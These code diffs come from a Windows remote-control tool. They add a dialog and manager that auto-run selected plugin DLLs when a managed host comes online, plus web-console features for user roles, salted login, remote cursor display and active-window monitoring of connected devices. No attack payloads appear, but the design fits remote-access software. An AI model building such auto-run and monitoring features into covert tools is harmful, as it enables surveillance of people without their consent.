m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160);
// 设置静态文本
SetWindowText(_TR("触发器设置"));
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
}
void CTriggerSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
// 如果有已配置的主机上线触发器,勾选对应的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
}
void CTriggerSettingsDlg::LoadTriggersToList()
{
m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" };
int index = 0;
for (const auto& cfg : m_Configs) {
if (!cfg.PluginNames.empty()) {
// 显示触发器类型和插件数量
CString text;
text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size());
m_listTriggers.InsertItem(index, text);
m_listTriggers.SetItemData(index, cfg.Type);
index++;
}
}
}
void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd()
{
// 获取选中的触发类型
int triggerType = m_comboTriggerType.GetCurSel();
if (triggerType < 0) return;
// 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题)
std::vector<std::string> selectedPlugins;
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
if (m_listPlugins.GetCheck(i)) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (dll) {
selectedPlugins.push_back(dll->Name);
}
}
}
if (selectedPlugins.empty()) {
MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION);
return;
}
// 查找或创建该类型的触发器
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == (TriggerType)triggerType) {
cfg = &c;
break;
}
}
if (!cfg) {
TriggerConfig newCfg;
newCfg.Type = (TriggerType)triggerType;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->PluginNames = selectedPlugins;
// 刷新显示
LoadTriggersToList();
}
void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove()
{
POSITION pos = m_listTriggers.GetFirstSelectedItemPosition();
if (!pos) return;
int nItem = m_listTriggers.GetNextSelectedItem(pos);
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 从配置中移除
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
if (it->Type == type) {
m_Configs.erase(it);
break;
}
}
// 取消插件列表的勾选
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
m_listPlugins.SetCheck(i, FALSE);
}
// 刷新显示
LoadTriggersToList();
}
void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
// 只处理选中状态变化
if (!(pNMLV->uNewState & LVIS_SELECTED)) return;
int nItem = pNMLV->iItem;
if (nItem < 0) return;
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 查找对应的触发器配置
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == type) {
cfg = &c;
break;
}
}
// 先取消所有勾选
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
m_listPlugins.SetCheck(i, FALSE);
}
// 勾选该触发器配置的插件
if (cfg) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : cfg->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnBnClickedBtnSave()
{
// 先从界面收集当前选择
int triggerType = m_comboTriggerType.GetCurSel();
if (triggerType >= 0) {
std::vector<std::string> selectedPlugins;
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
if (m_listPlugins.GetCheck(i)) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (dll) {
selectedPlugins.push_back(dll->Name);
}
}
}
// 更新或创建触发器配置
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == (TriggerType)triggerType) {
cfg = &c;
break;
}
}
if (!selectedPlugins.empty()) {
if (!cfg) {
TriggerConfig newCfg;
newCfg.Type = (TriggerType)triggerType;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->PluginNames = selectedPlugins;
} else if (cfg) {
// 如果没有选中插件,删除该触发器
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
if (it->Type == (TriggerType)triggerType) {
m_Configs.erase(it);
break;
}
}
}
}
SaveTriggerConfigs(m_Configs);
LoadTriggersToList();
MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION);
}
std::string CTriggerSettingsDlg::GetTriggerConfigPath()
{
std::string dbPath = GetDbPath();
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "triggers.json";
}
std::vector<TriggerConfig> CTriggerSettingsDlg::LoadTriggerConfigs()
{
std::vector<TriggerConfig> configs;
std::string path = GetTriggerConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
TriggerConfig cfg;
cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt();
const Json::Value& plugins = item["plugins"];
if (plugins.isArray()) {
for (const auto& p : plugins) {
cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK
}
}
if (!cfg.PluginNames.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& configs)
{
std::string path = GetTriggerConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["type"] = cfg.Type;
Json::Value plugins(Json::arrayValue);
for (const auto& name : cfg.PluginNames) {
plugins.append(GbkToUtf8(name)); // GBK -> UTF-8
}
item["plugins"] = plugins;
root.append(item);
}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
file.close(); // 确保文件完全写入并关闭
}
// 通知 TriggerManager 重新加载缓存
TriggerManager::Instance().Reload();
}
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================
// TriggerManager 实现
// ============================================
TriggerManager::TriggerManager() : m_bLoaded(false)
{
InitializeCriticalSection(&m_cs);
}
TriggerManager::~TriggerManager()
{
DeleteCriticalSection(&m_cs);
}
void TriggerManager::LoadFromDisk()
{
// 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE) {
for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name);
}
}
}
m_bLoaded = true;
}
void TriggerManager::Reload()
{
EnterCriticalSection(&m_cs);
LoadFromDisk();
LeaveCriticalSection(&m_cs);
}
bool TriggerManager::HasOnlineTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_OnlinePlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetOnlinePlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_OnlinePlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}

View File

@@ -0,0 +1,99 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include <vector>
#include <string>
#include <set>
// 前向声明
struct DllInfo;
// 触发器类型
enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线
// 后续可扩展更多类型
};
// 触发器配置
struct TriggerConfig {
TriggerType Type; // 触发类型
std::vector<std::string> PluginNames; // 要执行的插件名称列表
TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {}
};
// 触发器管理器(单例,线程安全,缓存配置)
class TriggerManager {
public:
static TriggerManager& Instance() {
static TriggerManager instance;
return instance;
}
// 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins();
// 重新加载配置(保存后调用)
void Reload();
// 检查是否有上线触发器
bool HasOnlineTrigger();
private:
TriggerManager();
~TriggerManager();
TriggerManager(const TriggerManager&) = delete;
TriggerManager& operator=(const TriggerManager&) = delete;
void LoadFromDisk();
CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
bool m_bLoaded;
};
// 触发器设置对话框
class CTriggerSettingsDlg : public CDialogLangEx
{
public:
CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CTriggerSettingsDlg();
enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS };
// 静态方法:加载触发器配置
static std::vector<TriggerConfig> LoadTriggerConfigs();
// 静态方法:保存触发器配置
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitControls();
void LoadPluginsToList();
void LoadTriggersToList();
void UpdateTriggerDisplay();
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<TriggerConfig> m_Configs; // 触发器配置列表
// 控件变量
CComboBox m_comboTriggerType;
CListCtrl m_listPlugins;
CListCtrl m_listTriggers;
};

View File

@@ -44,7 +44,7 @@
// 程序版本号 [建议格式: X.Y.Z] // 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏 // 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.1" #define BRAND_VERSION "1.3.2"
// 启动画面名称 [建议大写,更有 Logo 感] // 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染) // 影响:启动画面 Logo 文字(大号艺术字体渲染)

View File

@@ -275,6 +275,118 @@ inline std::string GetWebPageHTML() {
margin-left: 10px; margin-left: 10px;
} }
.logout-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); } .logout-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); }
.users-btn {
padding: 10px 20px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #9b59b6 0%, #8e44ad 100%);
color: #fff;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s;
margin-left: 10px;
display: none;
}
.users-btn.visible { display: inline-block; }
.users-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(142, 68, 173, 0.4); }
/* User Management Modal */
.modal-overlay {
display: none;
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0,0,0,0.7);
z-index: 1000;
align-items: center;
justify-content: center;
}
.modal-overlay.active { display: flex; }
.modal-content {
background: rgba(22, 33, 62, 0.98);
border-radius: 16px;
padding: 24px;
width: 90%;
max-width: 500px;
max-height: 80vh;
overflow-y: auto;
box-shadow: 0 8px 32px rgba(0,0,0,0.5);
border: 1px solid rgba(233, 69, 96, 0.2);
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 16px;
border-bottom: 1px solid rgba(255,255,255,0.1);
}
.modal-header h3 { color: #e94560; margin: 0; }
.modal-close {
background: none;
border: none;
color: #888;
font-size: 24px;
cursor: pointer;
padding: 0;
line-height: 1;
}
.modal-close:hover { color: #e94560; }
.user-form { margin-bottom: 24px; }
.user-form h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
.user-form input, .user-form select {
width: 100%;
padding: 10px 12px;
margin-bottom: 12px;
border: 1px solid rgba(255,255,255,0.1);
border-radius: 8px;
background: rgba(15, 52, 96, 0.8);
color: #fff;
font-size: 14px;
}
.user-form input:focus, .user-form select:focus {
outline: none;
border-color: #e94560;
}
.user-form button {
width: 100%;
padding: 12px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #27ae60 0%, #2ecc71 100%);
color: #fff;
font-weight: 600;
cursor: pointer;
transition: all 0.3s;
}
.user-form button:hover { transform: translateY(-1px); }
.user-list h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
.user-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 12px;
background: rgba(15, 52, 96, 0.5);
border-radius: 8px;
margin-bottom: 8px;
}
.user-item .user-info { flex: 1; }
.user-item .username { color: #fff; font-weight: 500; }
.user-item .role { color: #888; font-size: 12px; }
.user-item .role.admin { color: #e94560; }
.user-item .delete-btn {
background: rgba(231, 76, 60, 0.2);
border: 1px solid rgba(231, 76, 60, 0.5);
color: #e74c3c;
padding: 6px 12px;
border-radius: 6px;
cursor: pointer;
font-size: 12px;
}
.user-item .delete-btn:hover { background: rgba(231, 76, 60, 0.4); }
.user-item .delete-btn:disabled { opacity: 0.5; cursor: not-allowed; }
.user-msg { padding: 10px; border-radius: 6px; margin-bottom: 12px; font-size: 13px; }
.user-msg.success { background: rgba(39, 174, 96, 0.2); color: #2ecc71; }
.user-msg.error { background: rgba(231, 76, 60, 0.2); color: #e74c3c; }
)HTML"; )HTML";
// Part 3: Device card styles // Part 3: Device card styles
@@ -336,6 +448,9 @@ inline std::string GetWebPageHTML() {
white-space: nowrap; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
max-width: 100%; opacity: 0.8; max-width: 100%; opacity: 0.8;
} }
.device-card .active-window.busy {
color: #e94560; opacity: 1; font-weight: 500;
}
.device-card .meta-row { display: flex; gap: 12px; margin-top: 6px; font-size: 12px; color: #666; } .device-card .meta-row { display: flex; gap: 12px; margin-top: 6px; font-size: 12px; color: #666; }
.device-card .meta-item { display: flex; align-items: center; gap: 4px; } .device-card .meta-item { display: flex; align-items: center; gap: 4px; }
.device-card .meta-item.rtt { font-weight: 500; } .device-card .meta-item.rtt { font-weight: 500; }
@@ -811,6 +926,7 @@ inline std::string GetWebPageHTML() {
<button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button> <button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button>
</div> </div>
<button class="refresh-btn" onclick="getDevices()">Refresh</button> <button class="refresh-btn" onclick="getDevices()">Refresh</button>
<button class="users-btn" id="users-btn" onclick="openUsersModal()">Users</button>
<button class="logout-btn" onclick="logout()">Logout</button> <button class="logout-btn" onclick="logout()">Logout</button>
</div> </div>
</div> </div>
@@ -854,6 +970,7 @@ inline std::string GetWebPageHTML() {
<button class="shortcut-btn" data-key="190" tabindex="-1">.</button> <button class="shortcut-btn" data-key="190" tabindex="-1">.</button>
<button class="shortcut-btn" data-key="188" tabindex="-1">,</button> <button class="shortcut-btn" data-key="188" tabindex="-1">,</button>
<button class="shortcut-btn" data-key="191" data-shift="1" tabindex="-1">?</button> <button class="shortcut-btn" data-key="191" data-shift="1" tabindex="-1">?</button>
<button class="shortcut-btn" data-key="32" data-ctrl="1" tabindex="-1" title="Ctrl+Space">&#x4E2D;</button>
</div> </div>
</div> </div>
<div class="touch-indicator" id="touch-indicator"></div> <div class="touch-indicator" id="touch-indicator"></div>
@@ -867,6 +984,31 @@ inline std::string GetWebPageHTML() {
<div class="zoom-indicator" id="zoom-indicator">100%</div> <div class="zoom-indicator" id="zoom-indicator">100%</div>
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off"> <input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
</div> </div>
<!-- User Management Modal -->
<div class="modal-overlay" id="users-modal">
<div class="modal-content">
<div class="modal-header">
<h3>User Management</h3>
<button class="modal-close" onclick="closeUsersModal()">&times;</button>
</div>
<div id="user-msg"></div>
<div class="user-form">
<h4>Create New User</h4>
<input type="text" id="new-username" placeholder="Username" autocomplete="off">
<input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
<select id="new-role">
<option value="viewer">Viewer (read-only)</option>
<option value="admin">Admin (full access)</option>
</select>
<button onclick="createUser()">Create User</button>
</div>
<div class="user-list">
<h4>Existing Users</h4>
<div id="users-list"></div>
</div>
</div>
</div>
)HTML"; )HTML";
// Part 7: JavaScript - State and WebSocket // Part 7: JavaScript - State and WebSocket
@@ -1026,11 +1168,28 @@ inline std::string GetWebPageHTML() {
challengeNonce = msg.nonce || ''; challengeNonce = msg.nonce || '';
console.log('Received challenge nonce'); console.log('Received challenge nonce');
break; break;
case 'salt':
if (msg.ok) {
completeLogin(msg.salt || '');
} else {
pendingLogin = null; // Clear pending state on error
document.getElementById('login-error').textContent = msg.msg || 'Failed to get salt';
}
break;
case 'login_result': case 'login_result':
if (msg.ok) { if (msg.ok) {
token = msg.token; token = msg.token;
currentUserRole = msg.role || 'viewer';
sessionStorage.setItem('token', token); sessionStorage.setItem('token', token);
sessionStorage.setItem('role', currentUserRole);
document.getElementById('login-error').textContent = ''; document.getElementById('login-error').textContent = '';
// Show Users button for admin only
const usersBtn = document.getElementById('users-btn');
if (currentUserRole === 'admin') {
usersBtn.classList.add('visible');
} else {
usersBtn.classList.remove('visible');
}
showPage('devices-page'); showPage('devices-page');
getDevices(); getDevices();
} else { } else {
@@ -1073,6 +1232,18 @@ inline std::string GetWebPageHTML() {
updateScreenStatus('connected'); updateScreenStatus('connected');
initDecoder(msg.width, msg.height); initDecoder(msg.width, msg.height);
break; break;
case 'cursor':
// Update remote cursor style (only for desktop in control mode)
currentCursorIndex = msg.index;
if (controlEnabled && !isTouchDevice) {
const canvas = document.getElementById('screen-canvas');
// 254=custom cursor (not supported in web), 255=unsupported -> default
const cssCursor = (msg.index >= 0 && msg.index < cursorMap.length)
? cursorMap[msg.index]
: 'default';
canvas.style.cursor = cssCursor;
}
break;
case 'device_offline': case 'device_offline':
// Only handle if this is the device we're currently viewing // Only handle if this is the device we're currently viewing
if (!token) break; if (!token) break;
@@ -1092,6 +1263,29 @@ inline std::string GetWebPageHTML() {
getDevices(); getDevices();
} }
break; break;
case 'create_user_result':
if (msg.ok) {
showUserMsg('User created successfully', false);
document.getElementById('new-username').value = '';
document.getElementById('new-password').value = '';
listUsers();
} else {
showUserMsg(msg.msg || 'Failed to create user', true);
}
break;
case 'delete_user_result':
if (msg.ok) {
showUserMsg('User deleted', false);
listUsers();
} else {
showUserMsg(msg.msg || 'Failed to delete user', true);
}
break;
case 'list_users_result':
if (msg.ok) {
renderUsersList(msg.users);
}
break;
} }
} }
)HTML"; )HTML";
@@ -1104,6 +1298,11 @@ inline std::string GetWebPageHTML() {
} }
function initDecoder(width, height) { function initDecoder(width, height) {
decoderWidth = width;
decoderHeight = height;
needKeyframe = false;
decodeTimestamp = 0;
// Clear canvas before resizing to prevent residual content // Clear canvas before resizing to prevent residual content
ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform
ctx.clearRect(0, 0, canvas.width, canvas.height); ctx.clearRect(0, 0, canvas.width, canvas.height);
@@ -1125,6 +1324,10 @@ inline std::string GetWebPageHTML() {
lastFrameTime = performance.now(); lastFrameTime = performance.now();
decoder = new VideoDecoder({ decoder = new VideoDecoder({
output: (frame) => { output: (frame) => {
// Check if frame dimensions match canvas
if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) {
console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, canvas=${canvas.width}x${canvas.height}`);
}
ctx.drawImage(frame, 0, 0); ctx.drawImage(frame, 0, 0);
frame.close(); frame.close();
frameCount++; frameCount++;
@@ -1136,7 +1339,7 @@ inline std::string GetWebPageHTML() {
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps'; document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
} }
}, },
error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); } error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
}); });
decoder.configure({ decoder.configure({
codec: 'avc1.42E01E', codec: 'avc1.42E01E',
@@ -1146,20 +1349,50 @@ inline std::string GetWebPageHTML() {
}); });
} }
let decoderWidth = 0, decoderHeight = 0, needKeyframe = false;
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
function handleBinaryFrame(data) { function handleBinaryFrame(data) {
if (!decoder || decoder.state !== 'configured') return;
const view = new DataView(data); const view = new DataView(data);
const deviceId = view.getUint32(0, true); const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4); const frameType = view.getUint8(4);
const dataLen = view.getUint32(5, true); const dataLen = view.getUint32(5, true);
const isKeyframe = frameType === 1;
// If decoder is closed or errored, wait for keyframe to reinitialize
if (!decoder || decoder.state === 'closed') {
if (isKeyframe && decoderWidth > 0) {
console.log('Reinitializing decoder on keyframe');
initDecoder(decoderWidth, decoderHeight);
needKeyframe = false;
} else {
needKeyframe = true;
return;
}
}
if (decoder.state !== 'configured') return;
// Skip delta frames if we need a keyframe
if (needKeyframe && !isKeyframe) return;
if (isKeyframe) needKeyframe = false;
const h264Data = new Uint8Array(data, 9, dataLen); const h264Data = new Uint8Array(data, 9, dataLen);
try { try {
// Check decoder queue to avoid overwhelming it (but never skip keyframes)
if (!isKeyframe && decoder.decodeQueueSize > 10) {
needKeyframe = true; // Need keyframe to resync after skipping
return;
}
decoder.decode(new EncodedVideoChunk({ decoder.decode(new EncodedVideoChunk({
type: frameType === 1 ? 'key' : 'delta', type: isKeyframe ? 'key' : 'delta',
timestamp: performance.now() * 1000, timestamp: decodeTimestamp++,
data: h264Data data: h264Data
})); }));
} catch (e) { console.error('Decode error:', e); } } catch (e) {
console.error('Decode error:', e);
needKeyframe = true;
}
} }
)HTML"; )HTML";
@@ -1221,6 +1454,13 @@ inline std::string GetWebPageHTML() {
return 'rtt-poor'; // Red: > 300ms return 'rtt-poor'; // Red: > 300ms
} }
function isWindowBusy(activeWindow) {
if (!activeWindow || activeWindow.trim() === '') return false;
const lower = activeWindow.toLowerCase();
if (lower.includes('locked') || lower.includes('inactive')) return false;
return true;
}
function updateDeviceInfo(deviceId, rtt, activeWindow) { function updateDeviceInfo(deviceId, rtt, activeWindow) {
// Update device in array // Update device in array
const device = devices.find(d => d.id === deviceId || d.id === String(deviceId)); const device = devices.find(d => d.id === deviceId || d.id === String(deviceId));
@@ -1258,6 +1498,7 @@ inline std::string GetWebPageHTML() {
} }
winEl.textContent = activeWindow; winEl.textContent = activeWindow;
winEl.title = activeWindow; winEl.title = activeWindow;
winEl.className = 'active-window' + (isWindowBusy(activeWindow) ? ' busy' : '');
} else if (winEl) { } else if (winEl) {
winEl.remove(); winEl.remove();
} }
@@ -1303,7 +1544,7 @@ inline std::string GetWebPageHTML() {
'<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' + '<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' +
'<span class="meta-item">' + screenInfo + '</span>' + '<span class="meta-item">' + screenInfo + '</span>' +
'</div>' + '</div>' +
(activeWin ? '<div class="active-window" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') + (activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
'</div>'; '</div>';
}).join(''); }).join('');
} }
@@ -1371,6 +1612,9 @@ inline std::string GetWebPageHTML() {
} }
} }
// Pending login state for salt-based auth
let pendingLogin = null;
async function login() { async function login() {
const username = document.getElementById('username').value; const username = document.getElementById('username').value;
const password = document.getElementById('password').value; const password = document.getElementById('password').value;
@@ -1378,8 +1622,18 @@ inline std::string GetWebPageHTML() {
if (!ws || ws.readyState !== WebSocket.OPEN) { document.getElementById('login-error').textContent = 'Not connected'; return; } if (!ws || ws.readyState !== WebSocket.OPEN) { document.getElementById('login-error').textContent = 'Not connected'; return; }
if (!challengeNonce) { document.getElementById('login-error').textContent = 'No challenge received'; return; } if (!challengeNonce) { document.getElementById('login-error').textContent = 'No challenge received'; return; }
// Compute password hash (same as server stores) // Store pending login info and request salt first
passwordHash = await sha256(password); pendingLogin = { username, password };
ws.send(JSON.stringify({ cmd: 'get_salt', username }));
}
async function completeLogin(salt) {
if (!pendingLogin) return;
const { username, password } = pendingLogin;
pendingLogin = null;
// Compute password hash with salt: SHA256(password + salt)
passwordHash = await sha256(password + salt);
// Compute response: SHA256(passwordHash + nonce) // Compute response: SHA256(passwordHash + nonce)
const response = await sha256(passwordHash + challengeNonce); const response = await sha256(passwordHash + challengeNonce);
ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce })); ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce }));
@@ -1397,6 +1651,75 @@ inline std::string GetWebPageHTML() {
sessionStorage.removeItem('token'); sessionStorage.removeItem('token');
devices = []; devices = [];
showPage('login-page'); showPage('login-page');
// Hide users button
document.getElementById('users-btn').classList.remove('visible');
}
// User Management Functions
let currentUserRole = 'viewer';
function openUsersModal() {
document.getElementById('users-modal').classList.add('active');
document.getElementById('user-msg').innerHTML = '';
listUsers();
}
function closeUsersModal() {
document.getElementById('users-modal').classList.remove('active');
}
function showUserMsg(msg, isError) {
const el = document.getElementById('user-msg');
el.className = 'user-msg ' + (isError ? 'error' : 'success');
el.textContent = msg;
setTimeout(() => { el.innerHTML = ''; }, 3000);
}
function createUser() {
const username = document.getElementById('new-username').value.trim();
const password = document.getElementById('new-password').value;
const role = document.getElementById('new-role').value;
if (!username || !password) {
showUserMsg('Username and password are required', true);
return;
}
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role }));
}
}
function deleteUser(username) {
if (!confirm('Delete user "' + username + '"?')) return;
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'delete_user', token, username }));
}
}
function listUsers() {
if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'list_users', token }));
}
}
function renderUsersList(users) {
const container = document.getElementById('users-list');
if (!users || users.length === 0) {
container.innerHTML = '<div style="color:#666;padding:12px;">No users</div>';
return;
}
container.innerHTML = users.map(u => {
const isAdmin = u.role === 'admin';
const canDelete = u.username !== 'admin'; // Cannot delete built-in admin
return '<div class="user-item">' +
'<div class="user-info">' +
'<div class="username">' + escapeHtml(u.username) + '</div>' +
'<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
'</div>' +
(canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
'</div>';
}).join('');
} }
function getDevices() { function getDevices() {
@@ -1476,6 +1799,28 @@ inline std::string GetWebPageHTML() {
// Control mode state (mouse/keyboard control) // Control mode state (mouse/keyboard control)
let controlEnabled = false; let controlEnabled = false;
// Remote cursor mapping (Windows cursor index -> CSS cursor)
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
const cursorMap = [
'progress', // 0: IDC_APPSTARTING
'default', // 1: IDC_ARROW
'crosshair', // 2: IDC_CROSS
'pointer', // 3: IDC_HAND
'help', // 4: IDC_HELP
'text', // 5: IDC_IBEAM
'default', // 6: IDC_ICON (no direct CSS equivalent)
'not-allowed', // 7: IDC_NO
'default', // 8: IDC_SIZE (deprecated, use default)
'move', // 9: IDC_SIZEALL
'nesw-resize', // 10: IDC_SIZENESW
'ns-resize', // 11: IDC_SIZENS
'nwse-resize', // 12: IDC_SIZENWSE
'ew-resize', // 13: IDC_SIZEWE
'default', // 14: IDC_UPARROW (no direct CSS equivalent)
'wait' // 15: IDC_WAIT
];
let currentCursorIndex = 1; // Default: arrow
// Floating toolbar state // Floating toolbar state
let toolbarVisible = false; let toolbarVisible = false;
let toolbarHideTimer = null; let toolbarHideTimer = null;
